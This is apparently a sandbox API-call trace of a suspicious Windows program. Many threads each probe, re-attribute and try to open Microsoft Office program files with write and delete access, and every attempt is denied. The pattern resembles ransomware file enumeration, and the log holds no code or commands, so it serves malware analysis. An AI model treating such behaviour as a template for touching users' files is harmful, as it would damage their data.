[0201.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.250] GetLastError () returned 0x5 [0201.250] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VSS", dwFileAttributes=0x20) returned 0 [0201.250] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ae608) returned 1 Thread: id = 9047 os_tid = 0x10d4 [0200.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_u.vst")) returned 0x20 [0201.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VST", dwFileAttributes=0x20) returned 0 [0201.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VST" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\idef0_u.vst"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.249] GetLastError () returned 0x5 [0201.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IDEF0_U.VST", dwFileAttributes=0x20) returned 0 [0201.249] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad708) returned 1 Thread: id = 9048 os_tid = 0x10d8 [0200.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\intann_m.vss")) returned 0x20 [0201.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_M.VSS", dwFileAttributes=0x20) returned 0 [0201.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\intann_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.238] GetLastError () returned 0x5 [0201.238] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_M.VSS", dwFileAttributes=0x20) returned 0 [0201.238] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ada28) returned 1 Thread: id = 9049 os_tid = 0x10e0 [0200.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\intann_u.vss")) returned 0x20 [0201.236] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_U.VSS", dwFileAttributes=0x20) returned 0 [0201.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_U.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\intann_u.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.237] GetLastError () returned 0x5 [0201.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\INTANN_U.VSS", dwFileAttributes=0x20) returned 0 [0201.237] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad668) returned 1 Thread: id = 9050 os_tid = 0x10e4 [0200.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\irrig_m.vss")) returned 0x20 [0201.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_M.VSS", dwFileAttributes=0x20) returned 0 [0201.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_M.VSS" (normalized: "c:\\program files\\microsoft office\\office14\\visio content\\1033\\irrig_m.vss"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.247] GetLastError () returned 0x5 [0201.247] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Visio Content\\1033\\IRRIG_M.VSS", dwFileAttributes=0x20) returned 0 [0201.247] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad348) returned 1 Thread: id = 9051 os_tid = 0x10f0 [0200.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx")) returned 0x20 [0200.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", dwFileAttributes=0x20) returned 0 [0200.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\classic.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0200.781] GetLastError () returned 0x5 [0200.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Classic.dotx", dwFileAttributes=0x20) returned 0 [0200.783] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acf88) returned 1 Thread: id = 9052 os_tid = 0x10f4 [0200.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx")) returned 0x20 [0200.785] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", dwFileAttributes=0x20) returned 0 [0200.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\default.dotx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0200.789] GetLastError () returned 0x5 [0200.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\Default.dotx", dwFileAttributes=0x20) returned 0 [0200.791] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ad5c8) returned 1 Thread: id = 9086 os_tid = 0x1734 [0201.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css")) returned 0x20 [0201.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", dwFileAttributes=0x20) returned 0 [0201.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme25.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.007] GetLastError () returned 0x5 [0201.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME25.CSS", dwFileAttributes=0x20) returned 0 [0201.007] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c774f8) returned 1 Thread: id = 9087 os_tid = 0x1738 [0201.008] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css")) returned 0x20 [0201.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", dwFileAttributes=0x20) returned 0 [0201.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme26.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0201.008] GetLastError () returned 0x5 [0201.008] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME26.CSS", dwFileAttributes=0x20) returned 0 [0201.008] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77590) returned 1 Thread: id = 9088 os_tid = 0x173c [0201.009] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css")) returned 0x20 [0203.997] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", dwFileAttributes=0x20) returned 0 [0203.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme27.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.202] GetLastError () returned 0x5 [0204.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME27.CSS", dwFileAttributes=0x20) returned 0 [0204.202] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76ca8) returned 1 Thread: id = 9089 os_tid = 0x1740 [0201.010] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css")) returned 0x20 [0204.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", dwFileAttributes=0x20) returned 0 [0204.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme28.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.657] GetLastError () returned 0x5 [0204.657] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME28.CSS", dwFileAttributes=0x20) returned 0 [0204.704] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c76fa0) returned 1 Thread: id = 9109 os_tid = 0x127c [0201.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk")) returned 0x20 [0202.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", dwFileAttributes=0x20) returned 0 [0202.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_f_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.565] GetLastError () returned 0x5 [0202.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_F_COL.HXK", dwFileAttributes=0x20) returned 0 [0202.565] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c75a40) returned 1 Thread: id = 9110 os_tid = 0xc2c [0201.278] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk")) returned 0x20 [0202.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", dwFileAttributes=0x20) returned 0 [0202.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\winproj.dev_k_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.566] GetLastError () returned 0x5 [0202.566] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\WINPROJ.DEV_K_COL.HXK", dwFileAttributes=0x20) returned 0 [0202.566] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77590) returned 1 Thread: id = 9130 os_tid = 0x12e0 [0201.291] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif")) returned 0x20 [0202.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", dwFileAttributes=0x20) returned 0 [0202.243] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir1b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.243] GetLastError () returned 0x5 [0202.243] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR1B.GIF", dwFileAttributes=0x20) returned 0 [0202.243] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x134e30d8) returned 1 Thread: id = 9191 os_tid = 0x1e64 [0202.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css")) returned 0x20 [0204.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", dwFileAttributes=0x20) returned 0 [0204.799] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme48.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.800] GetLastError () returned 0x5 [0204.800] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME48.CSS", dwFileAttributes=0x20) returned 0 [0204.800] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77168) returned 1 Thread: id = 9192 os_tid = 0x1e78 [0202.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css")) returned 0x20 [0204.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", dwFileAttributes=0x20) returned 0 [0204.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme49.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.751] GetLastError () returned 0x5 [0204.751] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME49.CSS", dwFileAttributes=0x20) returned 0 [0204.751] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c77200) returned 1 Thread: id = 9193 os_tid = 0xc04 [0202.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css")) returned 0x20 [0204.705] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", dwFileAttributes=0x20) returned 0 [0204.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme50.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.798] GetLastError () returned 0x5 [0204.798] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME50.CSS", dwFileAttributes=0x20) returned 0 [0204.798] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f41d0) returned 1 Thread: id = 9194 os_tid = 0x13b0 [0202.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css")) returned 0x20 [0204.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", dwFileAttributes=0x20) returned 0 [0204.553] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme51.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.749] GetLastError () returned 0x5 [0204.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME51.CSS", dwFileAttributes=0x20) returned 0 [0204.750] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4268) returned 1 Thread: id = 9195 os_tid = 0xed4 [0202.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css")) returned 0x20 [0204.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", dwFileAttributes=0x20) returned 0 [0204.366] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme52.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.592] GetLastError () returned 0x5 [0204.592] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME52.CSS", dwFileAttributes=0x20) returned 0 [0204.593] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4300) returned 1 Thread: id = 9196 os_tid = 0xee0 [0202.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css")) returned 0x20 [0204.444] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", dwFileAttributes=0x20) returned 0 [0204.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme53.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.655] GetLastError () returned 0x5 [0204.655] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME53.CSS", dwFileAttributes=0x20) returned 0 [0204.655] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4398) returned 1 Thread: id = 9197 os_tid = 0x88c [0202.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css")) returned 0x20 [0204.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", dwFileAttributes=0x20) returned 0 [0204.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme54.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.658] GetLastError () returned 0x5 [0204.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME54.CSS", dwFileAttributes=0x20) returned 0 [0204.658] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4430) returned 1 Thread: id = 9198 os_tid = 0x141c [0202.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css")) returned 0x20 [0204.289] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", dwFileAttributes=0x20) returned 0 [0204.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme55.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0204.525] GetLastError () returned 0x5 [0204.525] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", dwFileAttributes=0x20) returned 0 [0204.525] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f44c8) returned 1 Thread: id = 9199 os_tid = 0x8f4 [0202.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif")) returned 0x20 [0202.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", dwFileAttributes=0x20) returned 0 [0202.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0202.267] GetLastError () returned 0x5 [0202.267] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30B.GIF", dwFileAttributes=0x20) returned 0 [0202.267] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4138) returned 1 Thread: id = 9200 os_tid = 0x1148 [0202.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif")) returned 0x20 [0203.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", dwFileAttributes=0x20) returned 0 [0203.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir30f.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.299] GetLastError () returned 0x5 [0203.299] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR30F.GIF", dwFileAttributes=0x20) returned 0 [0203.299] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f4560) returned 1 Thread: id = 9201 os_tid = 0x11c8 [0202.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif")) returned 0x20 [0203.297] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", dwFileAttributes=0x20) returned 0 [0203.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31b.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0203.298] GetLastError () returned 0x5 [0203.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31B.GIF", dwFileAttributes=0x20) returned 0 [0203.298] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f45f8) returned 1 Thread: id = 9202 os_tid = 0x11cc [0202.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR31F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir31f.gif")) returned 0x20 